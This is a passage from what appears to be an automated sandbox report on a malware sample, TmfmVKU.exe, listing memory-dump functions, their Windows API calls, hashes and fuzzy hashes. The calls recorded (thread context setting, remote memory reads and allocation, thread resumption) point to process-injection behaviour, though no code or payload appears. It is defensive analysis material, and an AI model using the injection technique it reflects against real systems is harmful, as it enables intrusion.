Instruction Fuzzy Hash: 0A2103B59002499FDB10CF9AD984ADEBFF8EB48314F14801AE958A7210D378A950CFA5

Function 031A10F0 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 031A116E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e3296fdc812c6caf82d28daee9b1c014a722b69b3c4381b79bb1f7d272b8385b
Instruction ID: 5fb57cb8830d92d2cf6d43e925bd67b0c9c49d37465574deb371375783d63c22
Opcode Fuzzy Hash: e3296fdc812c6caf82d28daee9b1c014a722b69b3c4381b79bb1f7d272b8385b
Instruction Fuzzy Hash: 602149B59003099FDB10DFAAC4857EEFBF4EF88324F148429D419A7241CB78A945CFA4

Function 031A10EB Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 031A116E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 21a753c2d9be2ac9d1c2873319f2f04a236a97d9bbbde412b6395dd11bb16db2
Instruction ID: 8625e4dc82ef25febe27d64032233dba199e9e9835400a6302192a44671a82da
Opcode Fuzzy Hash: 21a753c2d9be2ac9d1c2873319f2f04a236a97d9bbbde412b6395dd11bb16db2
Instruction Fuzzy Hash: 7B2134B5D003099FDB10DFAAC9857EEBBF4AF48324F14842AD419A7241CB78A945CFA4

Function 031A17B0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 031A1830

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4f27feecd9c30ecb8f130494f4b1b576a7c0ae3ecf48ba6ae64d46379de6ad74
Instruction ID: 848dca80be545390896a91bcbf652e109477b5f48ba147671dd4872cbf2cf804
Opcode Fuzzy Hash: 4f27feecd9c30ecb8f130494f4b1b576a7c0ae3ecf48ba6ae64d46379de6ad74
Instruction Fuzzy Hash: 692128B1C003499FCB10DFAAC885ADEFBF5FF48310F548429E519A7241C7389945DBA4

Function 01A6D690 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01A6D717

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f663974082740eda003839db6541842dd4cad5e04d9c0e313d4fbf88c98f4ae8
Instruction ID: d94dcab102aad847a2f7c0b6404e9aaf6b92b38cf4d9d57fa1beba0b8d492176
Opcode Fuzzy Hash: f663974082740eda003839db6541842dd4cad5e04d9c0e313d4fbf88c98f4ae8
Instruction Fuzzy Hash: F321E4B59002499FDB10CF9AD984ADEBFF8FB48310F14801AE958A3350D378A954CFA5

Function 01A6A130 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,01A6B079,00000800,00000000,00000000), ref: 01A6B28A

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7942b398a6b704c9b0d493273650d6a036b28d184557c096deab7fff176eed04
Instruction ID: 94f94b05c47b344086de0d7ed75cc952f8bd5cf7c5de6834a749a124816e39f1
Opcode Fuzzy Hash: 7942b398a6b704c9b0d493273650d6a036b28d184557c096deab7fff176eed04
Instruction Fuzzy Hash: 7A11F3B69003499FDB14DFAAD548ADEFBF8EB88310F14842EE519A7200C375A945CFA5

Function 01A6B219 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,01A6B079,00000800,00000000,00000000), ref: 01A6B28A

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4a7a446f26b64f64bb1ade9259419f75b87edd3795e35976b97f6eebe71979f4
Instruction ID: a418b71501a81ce1570ebd906971a90e64f278bd0e984cad395c41490dc8ceb1
Opcode Fuzzy Hash: 4a7a446f26b64f64bb1ade9259419f75b87edd3795e35976b97f6eebe71979f4
Instruction Fuzzy Hash: 1F11F6B6D003098FDB14DFAAD484ADEFBF4EB48310F14852ED519A7210C375A645CFA5

Function 031A15F9 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 031A166E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1c28dec54cdf808d27ba03b17b6c02a55f81e7f3d5532a845f5a2d358ca5eeaa
Instruction ID: 34cdc848f29d28e53bec1b7dc0af4326f50aa7bed74c17aca785c7ba447340fe
Opcode Fuzzy Hash: 1c28dec54cdf808d27ba03b17b6c02a55f81e7f3d5532a845f5a2d358ca5eeaa
Instruction Fuzzy Hash: D6116AB58002099FCF10DFA9C845BDEBFF5EF88324F148419E919A7250C775A955CFA1

Function 031A1600 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 031A166E

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9a4d3b31f9fe3b7c247c7ef40c2e43818a74d240b4963d4620a48c3742cb072e
Instruction ID: 2deb06ca08810a434f3c861cfbd85a939214cf81d00888b6d04b23b9949bb820
Opcode Fuzzy Hash: 9a4d3b31f9fe3b7c247c7ef40c2e43818a74d240b4963d4620a48c3742cb072e
Instruction Fuzzy Hash: B31164B58002099FCB10DFAAC844ADFFFF5EF88320F248419E519A7250CB75A940CFA0

Function 031A1038 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(000000D0), ref: 031A10A2

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5d3f7c88de962389f3afaad25aa372bbdd77ccfee548297d65f6c1741714a362
Instruction ID: 9ffb426e096688b1487e3c14a0cae9b376bbdd7ddd80d7b9822e7a96c4c85b59
Opcode Fuzzy Hash: 5d3f7c88de962389f3afaad25aa372bbdd77ccfee548297d65f6c1741714a362
Instruction Fuzzy Hash: 211158B5D007498FDB20DFAAC5457EEFBF5AF88324F24842AC519B7240C739A544CB91

Function 031A1040 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(000000D0), ref: 031A10A2

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c8c300e3c6dd425cbf6534d094e6126f836948a2ac11415c807f1238e109e8a5
Instruction ID: c7a2270d498000116b41d295762a1f81c239f0d328c83a70cd5a5e3f0034d482
Opcode Fuzzy Hash: c8c300e3c6dd425cbf6534d094e6126f836948a2ac11415c807f1238e109e8a5
Instruction Fuzzy Hash: 971155B59003498FCB20DFAAC5457DEFBF4EB88324F24842AC519A7240CB39A944CBA4

Function 01A6AF98 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01A6AFFE

Memory Dump Source

Source File: 0000000A.00000002.1855723967.0000000001A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a60000_TmfmVKU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 315d9ace530a184fa2580b0e2e1d58e668fd40893397e7aa3a9103680c592d45
Instruction ID: 8115f38da2dc307974b4e8e29492be48e1c1e98313db81a4790b4e73df06f5ff
Opcode Fuzzy Hash: 315d9ace530a184fa2580b0e2e1d58e668fd40893397e7aa3a9103680c592d45
Instruction Fuzzy Hash: B51110B5C003498FDB14CF9AC444ADEFBF8EB88324F11841AD529B7210C379A545CFA1

Function 031A393C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 031A5625

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9d7c313ea84f90af45613913dd5499813b763cd5ba74e6cad6f2c1034c80ca48
Instruction ID: ab8acfabbca8aac776d52c660f86ce2adec730a3d2067873830feec70826b6b3
Opcode Fuzzy Hash: 9d7c313ea84f90af45613913dd5499813b763cd5ba74e6cad6f2c1034c80ca48
Instruction Fuzzy Hash: 641133B580074D9FCB10DF8AC988BDEFBF8EB48320F108419E958A7200C375A984CFA4

Function 031A55C3 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 031A5625

Memory Dump Source

Source File: 0000000A.00000002.1856075296.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_31a0000_TmfmVKU.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a80100d90341e291abd2160bef970a14913421a6a1aee28da5bac95f887e8cce
Instruction ID: c626cf6c9d1a0f1ddb3eaabe1cc9c6b5ebb6d300d30eeb5cf65ff15fb7c6f04a
Opcode Fuzzy Hash: a80100d90341e291abd2160bef970a14913421a6a1aee28da5bac95f887e8cce
Instruction Fuzzy Hash: DE11FEB98007498FDB10CF99D989BDEBBF4EB48320F24841AE559A7250C375AA44CFA0

Function 0172D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855374077.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_172d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9738e222e3f56c131684bdfed7411f17dd1af437abcde578d42291a4397d17ef
Instruction ID: 01baa69c9f4aab725251ee91043da262b6a61c8f975568b6a79ee6d35b95256b
Opcode Fuzzy Hash: 9738e222e3f56c131684bdfed7411f17dd1af437abcde578d42291a4397d17ef
Instruction Fuzzy Hash: 0F2102B1504200DFDB15DF88C9C4B56BB65FB94324F20C5A9DD0A0A246C336E456C6A1

Function 0172D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855374077.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_172d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8770bc36635de080367b2533c35fa3137a3784894521d754d6f3bb6831edafa7
Instruction ID: c878616558c68eb9d9aa5299f8260d3d9eaa8409191dc2e0ffd9966971a17956
Opcode Fuzzy Hash: 8770bc36635de080367b2533c35fa3137a3784894521d754d6f3bb6831edafa7
Instruction Fuzzy Hash: 812121B1504240DFDB21DF58C8C0B26FFA5FB88328F30C6A9E8090A246C376D456CAA1

Function 01A1D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855511496.0000000001A1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a1d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23900e5c3f69272fae6d8567d0ca15dc229f0450767c202cd18a2eac4a75e9a8
Instruction ID: 7cb04219d8314f871b4238cd4830a5c9482833f5c3d569f01c05a6ca48e2477b
Opcode Fuzzy Hash: 23900e5c3f69272fae6d8567d0ca15dc229f0450767c202cd18a2eac4a75e9a8
Instruction Fuzzy Hash: 5521F5B5604200EFDB05DF98D9C8B65BBB5FB84324F24CA6DD91A4B25AC336D406CA61

Function 01A1D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855511496.0000000001A1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a1d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6f175bcca0f438e881ecace903b4e7e7dd6f9824d95fa1362035a2af3ab73ab
Instruction ID: 38735944a1cd2ad88c5da5e5ac84741c3f6bed9e96e9b2a50bdb2c5513237c9a
Opcode Fuzzy Hash: c6f175bcca0f438e881ecace903b4e7e7dd6f9824d95fa1362035a2af3ab73ab
Instruction Fuzzy Hash: BF21D075604200EFDB15DF58D988B26BBA5FB84364F24C96DD90B4B28AC33AD847CA61

Function 01A1D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855511496.0000000001A1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a1d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 199b64d36de73e6680f21cb8fcc0557ed4eeeef9f343fff3b765c7e1c51ca464
Instruction ID: 770794d998a84d7a6c5e91ab025b5921186a4757b0b94ab075503b0d42a651d7
Opcode Fuzzy Hash: 199b64d36de73e6680f21cb8fcc0557ed4eeeef9f343fff3b765c7e1c51ca464
Instruction Fuzzy Hash: A421A1755093808FDB03CF24D994B15BF71EB45324F28C5DAD84A8B2A7C33AD84ACB62

Function 0172D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855374077.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_172d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 985382b9b0ea62a80806eeb575b2f37116471688615b2fb8f2414b6929a89bca
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 8A11CD76504280CFDB12CF54D5C4B16BF72FB84224F34C6A9D8090B256C336D45ACBA1

Function 0172D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855374077.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_172d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 0ab9be86ddeb56c2cc38f7471f239b40be9ba5ec73ff8e207091b125c8254738
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction Fuzzy Hash: 7611CA76504280CFDB12CF44D9C4B56BF72FB84224F24C2A9DD090A256C33AE45ACBA2

Function 01A1D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1855511496.0000000001A1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1a1d000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 7d9e78b453793507435b7c07b275daa46152385b9b53b353eaee825a33caacbe
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 7211BB75904280DFDB02CF58C5C8B15BBB2FB84224F28C6ADD8494B69AC33AD40ACB61

Analysis Process: TmfmVKU.exePID: 7608, Parent PID: 7308COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Executed Functions

Function 065375E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,065374A6), ref: 06537656

Strings

X3=<, xrefs: 0653760F

Memory Dump Source

Source File: 0000000E.00000002.1984624118.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6530000_TmfmVKU.jbxd

Similarity

API ID: LibraryLoad
String ID: X3=<
API String ID: 1029625771-1280808865
Opcode ID: 1a1e07192fa0dccb51f9a38a151369bc30719122761ad386b66e51ff45d9d21b
Instruction ID: 979db975e85a6cc45ad0b67850400620baadf9e90762415f18250abdf45c4f7c
Opcode Fuzzy Hash: 1a1e07192fa0dccb51f9a38a151369bc30719122761ad386b66e51ff45d9d21b
Instruction Fuzzy Hash: F81112B6C003498FDB10DF9AC844ACEFBF5EF88620F14842AD429A7611C774A546CFA5

Function 06536F98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,065374A6), ref: 06537656

Strings

X3=<, xrefs: 0653760F

Memory Dump Source

Source File: 0000000E.00000002.1984624118.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6530000_TmfmVKU.jbxd

Similarity

API ID: LibraryLoad
String ID: X3=<
API String ID: 1029625771-1280808865
Opcode ID: 106e9e2fecc0669a12705f7e9b4b89454970a3ef77631430fe7757b0f29dfe5f
Instruction ID: 5c30d4f93d89b071967ef930d4ff6da91981c9f8a5a21a0acf030cb114e02bf3
Opcode Fuzzy Hash: 106e9e2fecc0669a12705f7e9b4b89454970a3ef77631430fe7757b0f29dfe5f
Instruction Fuzzy Hash: D81123B6D003498FDB10DF9AC844A9EFBF4EF88220F14841AD429B7210D775A945CFA9

Function 02BA0CE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 02BA0D47

Strings

X3=<, xrefs: 02BA0CFF

Memory Dump Source

Source File: 0000000E.00000002.1965950945.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2ba0000_TmfmVKU.jbxd

Similarity

API ID: ConsoleWindow
String ID: X3=<
API String ID: 2863861424-1280808865
Opcode ID: 291850989223803add2e9fe710e7a4934d3fd3cc7fbc7f38ddcab6d406b3cd97
Instruction ID: 5192adbfebaf638357143cbdfdcdbe08d86271b6576d57af600aa681d2bd662d
Opcode Fuzzy Hash: 291850989223803add2e9fe710e7a4934d3fd3cc7fbc7f38ddcab6d406b3cd97
Instruction Fuzzy Hash: C41116B19003498FCB20DFAAC4457DEBFF1AB88324F248459C559A7240CB35A945CF90

Function 02BA0CE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 02BA0D47

Strings

X3=<, xrefs: 02BA0CFF

Memory Dump Source

Source File: 0000000E.00000002.1965950945.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2ba0000_TmfmVKU.jbxd

Similarity

API ID: ConsoleWindow
String ID: X3=<
API String ID: 2863861424-1280808865
Opcode ID: 5e826b19fd10d38ac82f98005619133c0c00cb307cad0da148f2d6f7e428471f
Instruction ID: 9dead48dbaabb3e418ce3711180361d8c9d05b9fd4a958d841a37d4c865e04f0
Opcode Fuzzy Hash: 5e826b19fd10d38ac82f98005619133c0c00cb307cad0da148f2d6f7e428471f
Instruction Fuzzy Hash: 5E1136B19003498FCB20DFAAC4457DFFBF4EB88324F208859C559A7240CB35A944CFA5

Function 06581550 Relevance: 1.4, Instructions: 1420COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 530d838e395e885cd1c0e0206efd91c75d4f8503250ca7eef34fa220da0a0f54
Instruction ID: 9202464c261a6b159846eefb7358a6bbd42900e66a668c185f391edf72b7a5eb
Opcode Fuzzy Hash: 530d838e395e885cd1c0e0206efd91c75d4f8503250ca7eef34fa220da0a0f54
Instruction Fuzzy Hash: BFC25F74B006189FDB54DB54C851EADBBB6FF88700F508099E60AAB7A1DB31EE41CF91

Function 0658349D Relevance: 1.3, Instructions: 1280COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2bc96176e897d05c223db476ed2036eb0f7ed5b07b2218a323ac2acec8fd85e
Instruction ID: b76f98a667415599d224d9b980694166fbdf81e0fa05e40c8c06ef901e62424f
Opcode Fuzzy Hash: f2bc96176e897d05c223db476ed2036eb0f7ed5b07b2218a323ac2acec8fd85e
Instruction Fuzzy Hash: 3DA1D274B002459FCB45DBB8C994A6EBBF6FF88700B1084AAE516DB7A1DB31DC01CB61

Function 06580048 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba08d377aa77c2587ab673b2323f48a2d6386737a43da3298ffd9dac830cddf2
Instruction ID: cfd3d4e79803648bd5404bcf81b2ccd40e50d5cf5b450767eeeeb618f000ce27
Opcode Fuzzy Hash: ba08d377aa77c2587ab673b2323f48a2d6386737a43da3298ffd9dac830cddf2
Instruction Fuzzy Hash: A2425830B006249FCB25EF78D550A6EBBF2FFC1706B50898CD5079B795CB75A8098B86

Function 065804F4 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 188469b372e474ed9d18d2bad133a3fa4c25f8be9c0f7ef5c61e8945ec31cca0
Instruction ID: bb6b60e6617cf8655570662a49b9a21510c221cb62013b4b276b82357bb987d6
Opcode Fuzzy Hash: 188469b372e474ed9d18d2bad133a3fa4c25f8be9c0f7ef5c61e8945ec31cca0
Instruction Fuzzy Hash: C4126730B006249FDB11EFA8C550A6EBBF6FFC5706F508988D5029F795CB75E8098B86

Function 0658056A Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759b581c8885c3cb9e3f77e22ca7659201f89cfe877d5cdd599fcdc7d1d71c1a
Instruction ID: 1ed87250742e7c23b1ddd2b0f7b4051bc791058a3952099613d5f9545c4b3a1b
Opcode Fuzzy Hash: 759b581c8885c3cb9e3f77e22ca7659201f89cfe877d5cdd599fcdc7d1d71c1a
Instruction Fuzzy Hash: 16026830B006249FDB50EFA8C550A6E7BF6BFC5705F508988D5029F7A5CBB5E8098B86

Function 065805E0 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a3714849dbeb4a382f1b25dff43496c8ce507b9bb914db381989f7245842d3
Instruction ID: 2acc2c98e7dc9379fbff2ea10ef45d3b8ab45d35d917ad707e72479b29fb99e9
Opcode Fuzzy Hash: 34a3714849dbeb4a382f1b25dff43496c8ce507b9bb914db381989f7245842d3
Instruction Fuzzy Hash: DA026830B006249FDB50EFA8C950A6E7BF6BF85705F508949E5029F7A5CB75E809CF82

Function 06580656 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfc215acf9296deb841ed3bd29f871dd6aa5724b60b37b2de5bab5ba76ba70c
Instruction ID: 9404a3d849b806c9620b1d00306786106fa45dad8babcbe915fb074db4439d7c
Opcode Fuzzy Hash: 6bfc215acf9296deb841ed3bd29f871dd6aa5724b60b37b2de5bab5ba76ba70c
Instruction Fuzzy Hash: 45F15930B002249FDB54EFA8C950A6E7BF6BF85705F508449E5029F7E5CBB5E849CB82

Function 06580000 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88794012d682f8f65b374e24c652abd26b2917f291f042622ab01eaa6784a0b9
Instruction ID: 4a0ffdcf7242401c14bf846cffbe9a000a2246237ebab3d2f6adef04e715fca5
Opcode Fuzzy Hash: 88794012d682f8f65b374e24c652abd26b2917f291f042622ab01eaa6784a0b9
Instruction Fuzzy Hash: 4BD18C30B012149FEB419FA8C955A6A7BFABF85704F10809AE501DF7E6CB71D849CF92

Function 065806CC Relevance: .4, Instructions: 355COMMON

Download Yara Rule

